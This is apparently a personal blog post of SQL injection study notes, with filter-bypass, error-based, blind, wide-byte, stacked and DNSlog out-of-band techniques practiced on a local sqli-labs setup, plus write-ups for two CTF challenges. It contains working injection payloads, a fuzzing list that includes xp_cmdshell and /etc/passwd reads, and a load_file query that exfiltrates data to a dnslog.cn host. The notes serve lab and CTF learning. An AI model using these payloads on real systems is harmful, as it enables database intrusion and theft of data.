SQL注入进阶

发布于 2022-11-09  444 次阅读


sleep绕过

  • 前言:sleep起到的作用是延长时间,那么随便一个函数,只要执行它需要很长时间,就可以代替sleep(),以下测试都是在sqli第2关进行
  • benchmark(t,exp)将exp执行t次,重复执行花费大量时间
原语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%20sleep(5)--+
测试:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and BENCHMARK(1000000000000,md5('1'))--+
  • 笛卡尔积盲注,通过将两张表的数据排列组合在一起的操作花费大量的时间,select count(*) from information_schema.columns A,information_schema.columns B
原语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%20sleep(5)--+
测试:
127.0.0.1/sqli-labs-master/Less-2/?id=1 and (select count(*) from information_schema.columns A,information_schema.columns B)--+感觉没有延时多久?一定是我的电脑太厉害辣
  • RLIKE REGEXP正则匹配,rpad和repeat函数重复处理字符串花费大量时间select``rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');没有成功
RPAD(str,len,padstr)

用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。

repeat(str,times) 复制字符串times次

原语句:http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%20sleep(5)--+
测试:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and select RPAD('a',10000000,'a') RLIKE concat(repeat('(a.*)+)',30),'b')--+
没有成功?

报错绕过

  • 前言:报错注入一般都是故意弄出报错,然后把需要查询的信息concat到报错语句中,利用报错把信息带出来,以下测试都是在sqli第2关进行
  • updatexml(xmlobj,xpath,newvalue) xmlobj,即xml document 类型为string 格式 xpath,类型为string,xpath语法的字符串newvalue,更新后的新值 ,原理大概是这样的,xpath是xml地址,符合一定的格式,concat语句将0x7e这种不符合格式的字符串输入,导致报错
这个太熟辣,就不测试了
  • extractvalue(xmlobj,xpath)xmlobj,即xml document 类型为string 格式 xpath,类型为string,xpath语法的字符串,这个的原理和上面那个一毛一样,只不过参数不同 extractvalue(null,concat(0x7e,database())
原语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%20sleep(5)--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%20extractvalue(null,concat(0x7e,database(),0x7e))--+
  • floor报错比较复杂样子,and (select 1 from (select count(),concat(database(),floor(rand(0)2)) x from information_schema.tables group by x)a)--+先了解一下主键,主键是一个具有标志性的字段,然后是原理:rand()函数和很多语句一起使用都会报错,这里是与group by语句一起使用,floor(rand(0)*2)) x的意思是x是前面那一坨的别名,方便后面和group by写在一起.下面贴一下网上查到的函数
floor(x) //向下取整,即取不大于x的最大整数。

rand(x) //随机产生一个0-1之间的浮点数,当指定参数x之后,每次生成的值都是一样的,故称之为固定的伪随机数字(产生的数字都是可预知的)就比如rand(0)

count(*) //返回值的条目,与count()的区别在于其不排除NULL,count()如果统计到NULL,返回的结果即为NULL,返回列数。

group by //分组的意思
原语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%20extractvalue(null,concat(0x7e,database(),0x7e))--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

burp实现fuzz

  • fuzz是什么:Fuzz测试就是通过构造不规则的输入,从而触发程序的某种bug.这里的fuzz是利用burp的爆破模块,自动发送别人写好的字典(里面不是密码,而是各种测试注入的语句),利用返回状态码或者时间来找过滤了什么
这里贴一个github上面找来的字典
<>"'%;)(&+
|
!
?
/
//
//*
'
' -- 
(
)
*|
*/*
&
0
031003000270000
0 or 1=1
0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A
0x77616974666F722064656C61792027303A303A31302700 exec(@s)
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
1 or 1=1
1;SELECT%20*
1 waitfor delay '0:0:10'--
'%20or%20''='
'%20or%201=1
')%20or%20('x'='x
'%20or%20'x'='x
%20or%20x=x
%20'sleep%2050'
%20$(sleep%2050)
%21
23 OR 1=1
%26
%27%20or%201=1
%28
%29
%2A%28%7C%28mail%3D%2A%29%29
%2A%28%7C%28objectclass%3D%2A%29%29
%2A%7C
||6
'||'6
(||6)
%7C
a'
admin' or '
' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
' and 1 in (select var from temp)--
anything' OR 'x'='x
"a"" or 1=1--"
a' or 1=1--
"a"" or 3=3--"
a' or 3=3--
a' or 'a' = 'a
&apos;%20OR
as
asc
a' waitfor delay '0:0:10'--
'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > 
bfilename
char%4039%41%2b%40SELECT
declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)
declare @q nvarchar (4000) select @q =
declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)
declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) 
declare @s varchar(22) select @s =
declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e
delete
desc
distinct
'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
'; exec master..xp_cmdshell
'; exec master..xp_cmdshell 'ping 172.10.1.255'--
exec(@s)
'; exec ('sel' + 'ect us' + 'er')
exec sp
'; execute immediate 'sel' || 'ect us' || 'er'
exec xp
'; exec xp_regread
' group by userid having 1=1--
handler
having
' having 1=1--
hi or 1=1 --"
hi' or 1=1 --
"hi"") or (""a""=""a"
hi or a=a
hi' or 'a'='a
hi') or ('a'='a
'hi' or 'x'='x';
insert
like
limit
*(|(mail=*))
*(|(objectclass=*))
or
' or ''='
 or 0=0 #"
' or 0=0 --
' or 0=0 #
" or 0=0 --
or 0=0 --
or 0=0 #
' or 1 --'
' or 1/*
; or '1'='1'
' or '1'='1
' or '1'='1'--
' or 1=1
' or 1=1 /*
' or 1=1--
' or 1=1-- 
'/**/or/**/1/**/=/**/1
‘ or 1=1 --
" or 1=1--
or 1=1
or 1=1--
 or 1=1 or ""=
' or 1=1 or ''='
' or 1 in (select @@version)--
or%201=1
or%201=1 --
' or 2 > 1
' or 2 between 1 and 3
' or 3=3
‘ or 3=3 --
' or '7659'='7659
 or a=a
 or a = a
' or 'a'='a
' or a=a--
') or ('a'='a
" or "a"="a
) or (a=a
order by
' or (EXISTS)
 or isNULL(1/0) /*
" or isNULL(1/0) /*
' or 'something' like 'some%'
' or 'something' = 'some'+'thing'
' or 'text' = n'text'
' or 'text' > 't'
' or uid like '%
' or uname like '%
' or 'unusual' = 'unusual'
' or userid like '%
' or user like '%
' or username like '%
' or username like char(37);
' or 'whatever' in ('whatever')
' -- &password=
password:*/=1--
PRINT
PRINT @@variable
procedure
replace
select
' select * from information_schema.tables--
' select name from syscolumns where id = (select id from sysobjects where name = tablename')--
' (select top 1
--sp_password
'sqlattempt1
(sqlattempt2)
'sqlvuln
'+sqlvuln
(sqlvuln)
sqlvuln;
t'exec master..xp_cmdshell 'nslookup www.google.com'--
to_timestamp_tz
truncate
tz_offset
' UNION ALL SELECT
' union all select @@version--
' union select 
uni/**/on sel/**/ect
' UNION SELECT
' union select 1,load_file('/etc/passwd'),1,1,1;
) union select * from information_schema.tables;
' union select * from users where login = char(114,111,111,116);
update
'||UTL_HTTP.REQUEST
,@variable
@variable
@var select @var as var into temp end --
\x27UNION SELECT
x' AND 1=(SELECT COUNT(*) FROM tabname); --
x' AND email IS NULL; --
x' AND members.email IS NULL; --
x' AND userid IS NULL; --
x' or 1=1 or 'x'='y
x' OR full_name LIKE '%Bob%
ý or 1=1 --
  • 那就直接拿sqli第2关测试一下吧,burp爆破我比较熟,就不写了.结果全是200,页面返回长度也各不相同,随便看了几个也没有拿到什么有用的信息,这个东西应该是面对某些特殊的题才有用吧

其他绕过

  • 空格绕过
  1. 用注释替换空格
原语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and sleep(5)--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1/**/and/**/sleep(5)--+
  1. 空格url编码%20
原语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and sleep(5)--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%20sleep(5)--+
  1. 两个空格代替一个空格,这有啥用,,,,
  2. 用Tab代替空格,tab打不进去,搞了半天是%0b
  3. %0a=空格
原语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and sleep(5)--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%0aand%0asleep(5)--+
  1. 如果空格被过滤,括号没有被过滤,可以用括号绕过
原语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and sleep(5)--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1and(sleep(5))--+
  • 引号绕过
  1. 使用十六进制代替非函数的名称(sqli第8关测试)(有疑问)
原语句:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%E2%80%99%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%E2%80%99security%E2%80%99%20limit%200,1),1,1)=e--+(试了一下加不加引号无所谓)
测试语句:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%E2%80%99%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%E2%80%99security%E2%80%99%20limit%200,1),1,1)=0x14--+

重新打第8关的时候发现一个问题,最开始这道题我用的报错注入做的,现在用布尔盲注发现测试闭环的时候,%27闭环成功,盲注语句却必须要用%E2%80%99这个引号才行,回去看了靶场源代码,雀氏是'闭环鸭?????????????????
  1. 宽字节注入,这个放在后面
  • 逗号绕过
  1. substr()可以使用from的方式来解决:select substr(database() from 1 for 1);
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%E2%80%99%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%E2%80%99security%E2%80%99%20limit%200,1)from 1 for 1)=e--+
  1. 使用join union select 1,2 可以使用union select * from (select 1)a join (select 2)b
原语句:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1.1%27%20union%20select%201,database(),2--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1.1%27%20union%20select%20*%20from%20(select%201)a%20join%20(select%20database())b%20join%20(select%202)c--+
  1. limit中,使用offset绕过 limit 0 offset 1(原网站竟然没有加空格👎)
原语句:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20union%20select%201,database(),2%20limit%201,1--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20union%20select%201,database(),2%20limit%201 offset 1--+
  • or and xor not绕过
  1. 利用符号替换and = && or=|| xor=| not=!(有问题)
原语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and sleep(5)--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 && sleep(5)--+ 没有反应
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 || sleep(5)--+ 一直sleep,停不下来
(是版本问题?)
  1. 内联注释:an/**/d,这个也适用于一般字符串绕过
原语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and sleep(5)--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 an/**/d sle/**/ep(5)--+
(我的环境下没成功,不过这个肯定没毛病)
  1. 双写绕过oorr这个适用于正则匹配替换成空格,太熟了,就不写了
  2. 大小写变形
原语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and sleep(5)--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20AND%20sleep(5)--+
  • 注释符绕过(这里做个记录吧,感觉都不怎么靠谱)
  1. id=1’ union select 1,2,3 or ‘1’=‘1 即虽然无法使用注释符,但是可以闭合掉他 或者:id=1’ union select 1,2,‘3
  2. 2.最后添加or 1’
  3. 3.最后添加 and ‘1’='1
  • 等于号绕过
  1. 使用like
原语句:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%E2%80%99%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%E2%80%99security%E2%80%99%20limit%200,1),1,1)=e--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%E2%80%99%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%E2%80%99security%E2%80%99%20limit%200,1),1,1)likee--+
  1. 使用!<>,因为<>是不等于
原语句:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%E2%80%99%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%E2%80%99security%E2%80%99%20limit%200,1),1,1)=e--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%E2%80%99%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%E2%80%99security%E2%80%99%20limit%200,1),1,1)!<>e--+
  • 等效函数汇总(这里没有列举上面写的盲注和报错的函数)
下面先贴一份网上的:
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
感觉比较有用的:
hex()、bin() ==> ascii()(这个盲注可以用,但是因为大小写不敏感,所以没用过)
concat_ws()==>group_concat()
substr() ==> substring(),mid()(mid这个是真的香,因为基本上这俩函数用法是一样的)

测试一下:

  1. concat_ws()==>group_concat()
原语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1.1 uoinn select 1,2,group_concat(database())--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1.1%20union%20select%201,concat_ws(database()),2--+
好像我的环境不支持这个函数
  1. substr() ==> substring()
原语句:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%E2%80%99%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%E2%80%99security%E2%80%99%20limit%200,1),1,1)=e--+
测试语句:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%E2%80%99%20and%20substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%E2%80%99security%E2%80%99%20limit%200,1),1,1)=e--+

其他的注入方法

宽字节注入

  • 原理
为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入

如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意

简单来说就是数据库与php编码不同,导致转义函数对字符串的处理被构造的语句转换成汉字从而无效

  • 方法,在可能被转义的字符前面加%df
  • 实战,sqli第8关
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%df%E2%80%99%20and%20substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%E2%80%99security%E2%80%99%20limit%200,1),1,1)=e--+
成功得到表名第一位为:e,后面照做就可以了

堆叠注入

  • 原理:sql语句用;分割,在注入的时候输;进去就可以注入一次而执行两条语句
  • 堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
  • 在实战中受限于前端的显错位就那么一点,根本不够数据去分,这样堆叠注入根本没用,一般用于非显示目的的操作,增删改等.
  • 方法,两条语句之间加;
  • 实战,sqli第2关
http://127.0.0.1/sqli-labs-master/Less-2/?id=1.1;select%201,2,3--+

环境好像不支持

dnslog注入

  • 原理:很多时候页面无回显,可以通过此方法把信息带出去.有一些开放的dns平台,它会给你一个域名,当任何人访问了这个域名的子域名时,我们就可以看到这个信息,比如在某台电脑访问database().drinkflower.asia,我就可以看到某个ip访问了database().drinkflower.asia,就知道这个人的database()辣.
  • 环境配置:通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like ‘%secure%’;查看load_file()可以读取的磁盘。 1、当secure_file_priv为空,就可以读取磁盘的目录。 2、当secure_file_priv为G:\,就可以读取G盘的文件。 3、当secure_file_priv为null,load_file就不能加载文件。 如果为Null解决如下: windows下:修改my.ini 在[mysqld]内加入secure_file_priv = linux下:修改my.cnf 在[mysqld]内加入secure_file_priv = 如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如www.test.com这样的URL发起请求。
  • http://www.dnslog.cn/这个不用注册,相比其他几个是真的香
  • 用法:http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1' and (select load_file(concat('',(select database()),'.hu3de3.dnslog.cn')))--+
  • 实战:sqli第2关
先申请一个临时域名
f6h53h.dnslog.cn

ping一下看看行不行
ping f6h53h.dnslog.cn
没问题

试一下在4级域名的地方传一点参数出去
ping drinkflower.f6h53h.dnslog.cn
成功传出了drinkflower

那就开始吧
http://127.0.0.1/sqli-labs-master/Less-2/?id=1.1%20and%20(select%20load_file(concat(%27\\%27,database(),%27.vla4uj.dnslog.cn%27)))--+
果然,环境问题,测试不了

二次注入

  • 原理:针对以下语句
$query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxx',',(),1);#',now())

如果user_name的末尾是\,就会变成

$query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxx\',',(),1);#',now())

原本起到闭环作用的'被转义为',就被视作username的一部分,失去了闭环作用,我们就可以插入查询语句

,(select admin_pass from admin limit 0,1),1);#

整个语句变成了

$query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxx\',(select admin_pass from admin limit 0,1),1);#,',(),1);#',now())第一个#后面都被注释掉了
  • 这个有源码才能用吧?也没法实战测试

两道练习wp

[RCTF2015]EasySQL

  • 好家伙,可以注册,第一反应就是刚才才看的二次注入,但是顺序不能乱,先用注册一个账户,用基本注入方式测试一下吧
  • 说多了都是泪,做了半天才发现本题提供了代码,之间开始审计吧
  • emmm~对照源码注入了半天注不进去,查看答案,发现不是在登录界面注册,而是在修改密码的界面注入,因为修改密码的地方有报错,所以直接报错注入,二次注入在本题目中也就起了找注入点的作用
  • 开始爆库
qwe"and updatexml(1,concat(0x7e,database(),0x7e),1)#

然后发现and和or被过滤了,换成||(因为之前的学习中&&好像不行)

qwe"||updatexml(1,concat(0x7e,database(),0x7e),1)#

库名为web_sqli
  • 开始爆表
qwe"||updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web_sqli')),0x7e),1)#

发现空格也被过滤辣,测试了几种绕过,只有括号能起作用(括号代替空格无法配合某些函数,比如limit)

qwe"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1)#

得到表名为article,flag,users
  • 开始爆字段
qwe"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#

得到flag表字段名为flag,user表的字段名为real_flag_1s_her(多半都是这个辣)
  • 快乐爆数据(bushi)
qwe"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)),0x7e),1)#

显示这个:Unknown column 'real_flag_1s_her' in 'field list'什么鬼??????555555555
查答案原来是前面没把字段显示完,那用limit再来一遍吧

qwe"||updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name='flag')limit(0),1),0x7e),1)#

结果limit用不了,因为空格被过滤,limit这里没法加()来逃避空格

所以使用regexp('^f') ^表示匹配开始,f表示从f开始,如果是f^则表示以f结尾

qwe"||updatexml(1,concat(0x7e,(select(group_concat(column_name))regexp('^r')from(information_schema.columns)where(table_name='flag')),0x7e),1)#

怎么就爆了个0出来,好像是格式错了

思路回到上面,可以猜测real_flag_1s_her的完整语句是real_flag_1s_here
  • 悲伤爆数据
qwe"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#

where(real_flag_1s_here)regexp('^f')表示用正则限制输出

得到上半flag

使用reverse()翻转查数据

qwe"||updatexml(1,concat(0x7e,(reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),0x7e),1)#

得到后半部分

Dest0g3 520迎新赛Really Easy SQL

  • 测试注入点,username和password都试过了,好像都没法,然后使用burpsuite进行fuzz,直接429
  • 正常的人可能这时候就去翻答案了,可是我不正常,去试试是不是啥玩意儿被过滤了没回显
admin'/**/||/**/BENCHMARK(1000000000000,md5('1'))#
admin'/**/||/**/BENCHMARK(1000000000000,md5('1'))--+
admin"/**/||/**/BENCHMARK(1000000000000,md5('1'))#
admin/**/||/**/BENCHMARK(1000000000000,md5('1'))#
admin")/**/||/**/BENCHMARK(1000000000000,md5('1'))#
admin')/**/||/**/BENCHMARK(1000000000000,md5('1'))#
admin'')/**/||/**/BENCHMARK(1000000000000,md5('1'))#
admin' or BENCHMARK(1000000000000,md5('1'))#
  • 再试试宽字节吧,也不行,试了各种闭环,各种绕过,postget,username和password都试了,都不行
  • 看了答案
给了提示,是insert注入,黑名单如下

union,updatexml,order,by,substr,空格,and

extractvalue,;,sleep,join,alter,handler,char,+,/

like,regexp,offset,sleep,case,&,-,hex,%0,load;
  • 原来原题有提示哪些函数被过滤了?无所谓辣,重新注入
a'or(BENCHMARK(1000000000000,md5('1')))#
  • 还是不行,看了答案原来闭环方式是or'师傅救命,这是啥闭环???网上搜不到鸭
  • 测试闭环
admin'or(benchmark(10000000,md5('1')))or'
  • 爆库
空格被ban,报错注入被ban,floor空格太多不好写,就时间盲注吧

admin'or(if((length(database())=3),benchmark(10000000,md5('1')),null))or'
admin'or(if((mid(database(),1,1)='c'),benchmark(10000000,md5('1')),null))or'(注意mid是从1开始截取,substr是从0开始截取)

库名为ctf
  • 爆表(气死了,这里表名长度死活爆不出来,直接完蛋)
admin'or(if((length((select(table_name)from(information_schema.tables)where(table_schema='ctf'))))=3),benchmark(10000000,md5('1')),null))or'//气死了,这里表名长度死活爆不出来
届ける言葉を今は育ててる
最后更新于 2024-02-07